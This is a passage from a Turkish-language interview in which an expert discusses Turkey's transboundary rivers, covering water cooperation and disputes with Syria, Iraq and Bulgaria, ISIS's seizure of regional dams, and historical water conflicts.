Bu süreç içerisinde Lübnan’dan doğan, Suriye’nin batısında aktıktan sonra, Türkiye’nin sınırları içerisinde Hatay’da denize dökülen Asi Nehri ile ilgili sorunlar Suriye’nin Hatay’ı Türkiye sınırları içinde olduğunu kabul etmesi ile uzun yıllar sonra iki ülke arasında konuşulmaya başlanmıştır. Türkiye-Suriye ilişkileri 2003 yılında yapılan karşılıklı üst düzey ziyaretlerle önemli ivme kazanmıştır.2004 yılında karşılıklı resmi üst düzey ziyaretlerle iki ülkenin ilişkileri olumlu bir yönde gelişmiştir. O dönem Başbakan olan Recep Tayyip Erdoğan, Aralık 2004’te yaptığı Suriye ziyareti sırasında Suriye Başbakanı Otri ile yaptığı görüşmede, Asi nehri üzerinde yapılacak ortak bir baraj için işbirliği ve teknik destek verebileceğini belirtmiştir. Yüksek Düzeyli Stratejik İşbirliği Konseyi (YDSK) toplantıları iki ülkenin işbirliğinin daha da geliştirilmesini sağlamıştır. 2009 yılında düzenlenen YDSK toplantısında kararlaştırılan Asi Nehri üzerinde iki ülke sınırında ortak bir baraj inşa etme projesi 6 Şubat 2011 tarihinde iki ülkenin liderleri ve bakanlarının katılımı ile gerçekleştirilen temel atma töreniyle başlatılmıştır. Bu barajın sulama, hidroelektrik üretimi, taşkınlardan koruma amacıyla inşa edilmesi planlanmıştı. Barajın maliyeti ve faydaları iki ülke arasında eşit olarak paylaşılacaktı. O dönemde bu işbirliği, Orta Doğu’da su sorunlarının karşılıklı anlayış ve işbirliği ile çözülebileceğine ilişkin önemli bir mesaj vermiştir.

Bu protokolle birlikte iki ülke arasında iklim değişikliği, su kalitesi gibi konularda ortak politikalar izlenmesi ve teknik anlamda iş birliği yapılması gibi birçok protokol imzalandı. Ama bilindiği gibi Mart 2011’de Arap Baharının Suriye’ye sıçramasıyla birlikte bu projeler ve işbirlikleri şimdilik askıda kaldı.

Arslan: Peki Hocam, Irak’ta durum nedir?

Maden: Tabi ki. Fırat ve Dicle suları söz konusu olduğunda iki ülkenin birlikte hareket ettiğini görüyoruz. Irak’a yaptığımız saha çalışmalarında Irak’ta yaşanıldığı ifade edilen su sıkıntısı nedenlerini açıkça görme fırsatına şahit olduk. Öncelikle, 2011 yılında Dünya Su Gününde BM’nin yaptığı açıklamada olduğu gibi, Irak’ta suların kullanım aşamasında yüzde 50 oranında kayıp söz konusudur. Mevcut su kaybı, su kaynaklarının kötü yönetimi ve tahrip olmuş su yapılarından (barajlar, kanallar, su şebekeleri, sulama sistemleri vb.) kaynaklanmaktadır. Ayrıca, atık suyun doğrudan akarsulara deşarj edilmesi de su kaynaklarının kalitesini bozarak, kullanılamaz hale gelmesine neden olmaktadır. Irak, su yönetiminde hem uzun süren savaşların yarattığı hasar nedeniyle, hem de yanlış su yönetimi sonucu ülkede yaşanan su sorununu iç politikasında da Türkiye’yi sorumlu tutarak perdelemeye çalışmaktadır.

Arslan: Suriye ile yaşanan bu sürecin bir benzeri de Irak’la yaşandı mı?

Maden: Irak, 1980 yılında kurulan Ortak Teknik Komite’ye ilk katılan kıyıdaştır. Devamında Suriye de komiteye katılmıştır. 2009 yılında Türkiye, Irak ile Fırat-Dicle nehirleri hakkında “Su Alanında Mutabakat Zaptı” olarak adlandırılan protokoller imzalanmıştır. Protokollerin içeriğinde Fırat ve Dicle’de su kaynakları yönetiminde işbirliğine doğrudan atıfta bulunulmuştur. Ayrıca havza bazlı su kaynakları yönetimi, su kalitesi, ‘kirleten öder’ gibi kavramlara da protokol içerisinde yer verilmiştir.

Irak, uzun yıllardır Türkiye’nin membada yaptığı barajlara karşı çıkmakta ve Türkiye’nin suyu kestiğini iddia etmektedir. Bununla birlikte Fırat ve Dicle nehirlerini ayrı birer havza olarak değerlendirilmektedir. Fırat ve Dicle nehirlerini uluslararası su olarak tanımlayan Irak, bu suların üç ülkenin ihtiyaç talebine göre paylaşılması gerektiğini ifade etmektedir. Türkiye ise Fırat-Dicle havzasını, iki nehir bir havza olarak kabul etmekte ve bu sınıraşan suların birlikte değerlendirilmesi ile 1984 yılında sunduğu üç aşamalı planda olduğu gibi su kaynaklarının tanımlanmış ihtiyaca göre tahsis edilmesi tezini savunmaktadır.

Suriye-Türkiye ilişkilerinde olduğu gibi su meselesi, Türkiye-Irak ilişkilerinde de dönem dönem iki ülkenin ilişkileri ile doğru orantılı olarak bir önkoşul haline gelebilmektedir. Maliki dönemi başta olmak üzere, Türkiye-Irak ilişkilerinin gergin olduğu dönemlerde, Fırat ve Dicle sularının kullanımına ilişkin sorunlar giderilmediği takdirde Iraklı yetkililer, Türkiye ile ticari anlaşmaları imzalamayacaklarını öne sürmüşlerdir. Yine aynı şekilde, Kasım 2013’te Dışişleri Eski Bakanı Ahmet Davutoğlu’nun gerçekleştirdiği Irak ziyaretinde Şii lider Sistani, görüşmelerinde Fırat ve Dicle nehri üzerinde Türkiye tarafından inşa edilen barajlar ve Irak’ta yaşanan su sıkıntısında Türkiye’nin sorumlu olduğunu ifade etmiş ve gerekirse söz konusu su sorununun BM hakemliğinde çözülmesini önermiştir. Maliki döneminde Türkiye ve Irak’ın gerilimli ilişkileri, suyu bir pazarlık aracı haline getirmiştir. Ağustos 2014’te başlayan Abadi dönemiyle birlikte ise su konusunun iki ülkenin ilişkilerinde bir ön şart olmayacağı yapılan görüşmelerde Irak parlamento üyeleri tarafından dile getirilmiştir. Yeni dönemde su, Türkiye ve Irak’ı birbirine bağlayan hayati bir kaynak olarak tanımlanmaktadır. Ayrıca, 25 Aralık 2014 tarihinde Başbakan Ahmet Davutoğlu, Irak Başbakanı Haydar el-Abadi ile Ankara’da yaptığı görüşmede Türkiye’nin su kaynakları ile ilgili taahhütlerini yerine getireceğini, su yönetimi ve suyun tasarruflu kullanımı için her türlü işbirliğine hazır olduğunu belirtmiştir.

Arslan: Körfez Krizi sırasında Türkiye Irak ilişkilerinde sınıraşan sular bir konumuydu?

Maden: Birçok kaynakta ve makalede konu olduğu ifade ediliyor. Bu çalışmalarda göre Körfez krizinde Irak’ı susuz bırakmak için Türkiye’den Fırat nehri sularını kesmesinin istendiği ifade edilmektedir. Böyle bir kesinti Türkiye tarafından asla gerçekleştirilmedi. Ayrıca, 2011 sonrası Türkiye, Suriye’ye karşı yaptırımlarda bulunmuştur, fakat resmi olarak ifade etmiştir ki bu yaptırımlar içerisinde su konusu dahil değildir. Suya ilişkin bir yaptırım asla yapılmayacaktır.

Arslan: Şu an, suyun Suriye ve Irak ilişkilerimizde herhangi bir belirleyiciliği var mıdır? Yansımaları oluyor mu?

Maden: Suriye’de Fırat Kalkanı operasyonuna kadar, Fırat Nehri’nin Türkiye’den çıkıp Suriye’ye girdikten sonraki bölümü DAEŞ’in kontrolü altındaydı. DAEŞ’in bölgedeki hamleleri sürecinde su kaynakları ve yapılarına (barajlar, boru hatları, sulama kanalları vb.) müdahaleleri “su kaynaklarının” stratejik önemini tekrar gündeme getirmiştir. DAEŞ, koyduğu kurallara karşı direnen köylerde suyu keserek, suyu bir silah olarak kullanmaktadır. DAEŞ, Nisan 2014’te Fırat nehri üzerinde bulunan ve kontrol altına aldığı Felluce’de, Felluce barajının kapaklarını açarak, Irak ordusunun şehre yaklaşmasını engellemiştir. Ortaya çıkan taşkından 40 bin kişi etkilenmiştir.

Haziran 2014, Fırat nehri üzerinde bulunan ve hidroelektrik enerji üretiminde büyük önem taşıyan ve Irak’ın ikinci büyük barajı olan Haditha, DAEŞ’in eline geçmemesi için Irak güçlerince yoğun bir şekilde korunmuştur. Irak’ın elektrik enerjisinin yüzde 30’unun karşılayan bu barajın çevresinde çatışmalar uzun bir süre devam etmiştir. Söz konusu barajın DAEŞ’in kontrolü altında olması Bağdat’ın su ve enerji güvenliğini de kontrol altında tutacaktır.

8-13 Ağustos 2014 tarihleri arasında DAEŞ’in kontrolü altında olan Musul Barajı, Irak’ın en büyük barajıdır. 1984 yılında inşası tamamlanan baraj Musul’un yaklaşık 50 km kuzeybatısında yer almaktadır. Baraj içme suyu, hidroelektrik, sulama ve taşkın koruma amacıyla inşa edilmiştir. Dicle nehri üzerinde inşa edilen barajın 750 MW elektrik üretme kapasitesine sahiptir. Bu rakam Irak’ta 675 bin konuta elektrik sağlanması demektir. Musul barajı gövdesi altındaki kayalar suyla tepkimeye girebilen karstik yapılardır ve zamanla karstik yapıların doğasında bulunan büyük obruklar ve göçükler ortaya çıkmaktadır. Barajın söz konusu bu sorunu barajda su tutulmaya başlandığında fark edilmiş ve 30 yıldır baraj gövdesi ve rezervuarında büyük göçükler meydana gelmiştir. Baraj stabil değildir ve hala sızıntılar söz konusudur. Barajın rehabilitasyonu için çimento enjeksiyonları yapılmaktadır. Baraj, çatışma sürecinde tadilat edilmemiştir. Baraj, yıkılma ihtimali ve yaratacağı taşkın nedeniyle hem Musul hem de Bağdat için büyük tehdit oluşturmaktadır.

Eylül 2014, DAEŞ’in kontrolü altına alınan Khalis/Sudur Barajı, Dicle nehri üzerinde ve Bağdat’ın kuzeyinde bulunan bu baraj Balad Ruz (Diyala’nın güneydoğusu ve yoğun olarak Şiilerin yaşadığı) bölgenin su ihtiyacını karşılamaktadır. DAEŞ, Sudur barajını kontrol ederek bölgeye verilen su akışını kesmiştir.

Suriye’de Tabka ve Tişrin barajları da DAEŞ kontrolü altındaydı. Bölgede suyun hayati önemine vakıf olarak hareket eden DAEŞ, su kaynaklarının bölgedeki diğer fosil kaynaklar gibi stratejik güç amacıyla kullanmaktadır. Bölgede, su kaynaklarının kontrolü, en az enerji hatlarını ve petrol kuyularını yönetmek kadar büyük bir önemlidir.

Tarihte tek su savaşı Ortadoğu’da Lagaş ve Umma kentleri arasında M.Ö. 2500 yıl önce gerçekleşmiştir. İki şehir devlet su kaynakları yüzünden savaşıyorlar ama sonrasında bir antlaşmayla da barış sağlanıyor. Tabi ki su Suriye, Türkiye ve Irak ilişkilerinde keza Nil Nehri kıyıdaşları, keza Mekong Nehri ve kıyıdaşları Lübnan, Ürdün, Filistin, Suriye ve İsrail’in olduğu Ürdün nehri hep çatışma ve krizlere gebe olmuştur. DAEŞ ile birlikte suyun kullanımı boyut değiştirmiştir.

2 yıl önce yaz döneminde uluslararası bloklarda Türkiye’nin Fırat Nehri sularını kestiğine dair iddialar gündeme geldi. Ama o dönemde o iki baraj DEAŞ’in kontrolü altındaydı. DEAŞde bu iddia ile Türkiye’yi tehdit etti. Bunun üzerine Türkiye uzun yıllar sonra ilk kez, Fırat Nehri’nin herhangi bir su kesintisi yapmadığının, 1965 yılından beri yaşadığı en kurak dönem olduğunun, kendi elinde de suyu olmadığının hatta mevcut sistem içerisinde sınırları zorlayarak elektrik ürettiği için çok daha fazla su vermeye çalıştığının açıklamasını yaptı. Türkiye, Suriye savaşta olduğu için su ile ilgili bir muhatabı yok ama 1987’de imzaladığı protokole sadık kalarak suyu vermeye devam etmektedir.

Dicle nehrinde ise Türkiye, Ilısu barajını inşa etmeye devam ediyor. Ilısu barajı elektrik üretme amacıyla inşa edilmektedir. Irak, Türkiye bu baraj ile suları kesecek iddialarına devam etmektedir.

Arslan:Bunu vurgulamak önemli diye düşünüyorum hocam; Türkiye bir kriz anında suyu bir tehdit unsuru olarak kullanmıyor.

Maden: Asla. Türkiye’nin , sınıraşan sular ile ilgili resmi politikası suların hakça, makul ve optimum kullanılmasıdır. Irak ve Suriye hakça ve makul kullanımı onaylarken, optimum kullanmada geri adım atıyorlar. Türkiye suyu işbirliği aracı olarak kullandı ve kullanmaya devam ediyor. Irak’la da OTK çerçevesinde işbirliklerine, ortak eğitim programlarına ve teknik işbirliğine devam ediyor.

Arslan: Hocam Fırat ve Dicle’nin zaman zaman krize yol açtığını görüyoruz. Diğer sınıraşan sularımızda böyle göze çarpan bir problem olduğu dönemler oldu mu?

Maden: Meriç nehri ile ilgili sorun yaşıyoruz. Çünkü yoğun yağış olduğu dönemlerde Meriç nehrinde taşkınlar yaşanmaktadır.. Bu konuda Bulgaristan ile iş birliği yapmak istedik. Bulgaristan bu konuda işbirliğini kabul etmiyor. Bulgaristan barajların işletilmesini özel sektöre vermiş durumda ve daha öncede bahsettiğim gibi o taşkın hacmini boş bırakmayarak, barajlar maksimum verim elde edebilmek için taşkın hacmini de doldurarak işletiyorlar. Ve ani bir baskında, ani bir taşkında da barajların kapaklarını açmak zorunda kalıyorlar ve Türkiye’yi sel basıyor. Bu konuda biz Bulgaristan’ı ve Yunanistan’ı çok masaya davet ettik.. Yunanistan’da taşkınlardan mağdur oluyor fakat Yunanistan ve Bulgaristan ikisi de Avrupa Birliği ülkesi. Yunanistan herhangi bir mağduriyet yaşadığı zaman Avrupa Birliği’nin hibeleriyle zararını tanzim ediyor. Ama Türkiye özellikle Edirne bölgesinde çok büyük zarar meydana geliyor. Büyük boyutta ekonomik ve çevresel zarar görüyoruz Hayvancılık yapanların hayvanları ölüyor. Çoruh Nehri’nde SSCB’yle yaptığımız antlaşmalar devam ediyor. Arpaçay üstünde Ermenistan ile ortak bir barajımız var. O baraj SSCB zamanında yapıldı, SSCB dağıldıktan sonra Ermenistan’la da bu antlaşma devam etti. İran ile Aras Nehri’nin kolları Karasu ve Sarıçay ile ilgili de yine 1955’de imzalanan antlaşmalar devam ediyor. En gündemdeki havzalar Meriç, Asi, Fırat ve Dicle havzalarıdır. Bu havzalar kıyıdaş ülkelerle ile ilişkilerimizde gündemde yer alıyor. Bu konuda da işbirliğine açık olduğumuzu bütün kıyıdaş devletlere söylüyoruz.

Arslan: Dünyada bunun iyi yönetim ve kötü yönetim örneklerinden birer tane örnek versek?

Maden: Avrupa’da Tuna ve Ren Nehri var. Ama bunların sorunları farklı odaklıdır. Bu nehirlerde navigasyon ve kalite sorunu söz konudur. Burada sorun nehrin ilk geçtiği ülkeyi de son geçtiği ülkeyi de etkiliyor. Haliyle ortak bir çalışma yapıyorlar ve komisyon kurdular. En az 100 yıllık bir geçmişi olan bir komisyondan bahsediyoruz. Avrupa Birliği Su Çerçeve Direktifi’nin devreye girmesiyle komisyon bilgilerini, verilerini ve antlaşmaları güncelledi. Çok güzel bir şekilde orada uyum içerisinde bir çalışma var. Ama suyun miktar olarak problem yaşandığı havzalarda, buna Nil, Ürdün, Mekong havzaları ve Fırat-Dicle, Meriç havzaları gibi. Nil, Ürdün, Fırat, Dicle ve Asi Nehri’ne baktığımız zaman kıyıdaş sayısı ikiden fazla, ama tüm kıyıdaşların katıldığı bir anlaşma yok. Antlaşmalar genellikle iki ülke arasında karşılıklı yapılmış antlaşmalar ve haliyle bu karşılıklı antlaşmalar havzanın bütüncül olarak ele alınmasını engelliyor. Suların verimli bir şekilde yönetilmesini engelliyor. Ortadoğu’nun mevcut durumuna bakarsak, dengeler sürekli değişiyor. Yarın Suriye savaşı son bulsa, Suriye’nin tekrar stabil bir hale gelmesi için en az on yıllık bir süreç gerekiyor.

Arslan: Peki Hocam, dünyada bunun çatışmaya dönüştüğüne örnek teşkil eden bir durum söz konusu mu?

Maden: Birinci sebep olarak mı?

Arslan: Birinci sebep veya ikinci sebep olarak.

Maden: Arap-İsrail Savaşı’nda 1967’de su kaynaklarının İsrail tarafından yönünün saptırılması savaşın nedenlerinden biridir. Keza biliyorsunuz İsrail’in Gazze’ye 2014 yılında gerçekleştirdiği Koruyu Hat operasyonunda direk Gazze’de su kaynakları hedef seçildi. Desalinasyon tesisleri ve kuyuların bulunduğu bölgeler zarar gördü ve suyla ilgili problem yaşandı ve Gazze şu an su açısından en kritik bölgelerden biri. İnsanlar temiz suya ulaşamıyor. İran-Irak Savaşı’nda da daha farklı bir şey var. Şattül Arap Nehri’nin sınırı, (Fırat ve Dicle nehirleri birleştikten sonra Şattül Arap ismini alır), iki ülke arasındaki savaşın nedenlerinden biridir ama ana sebebi değildir. Yani iki ülke de sınır konusunda anlaşamıyor.

Arslan: Bize zaman ayırdığınız için teşekkür ederiz.

Maden: Ben teşekkür ederim.

Bir Cevap Yazın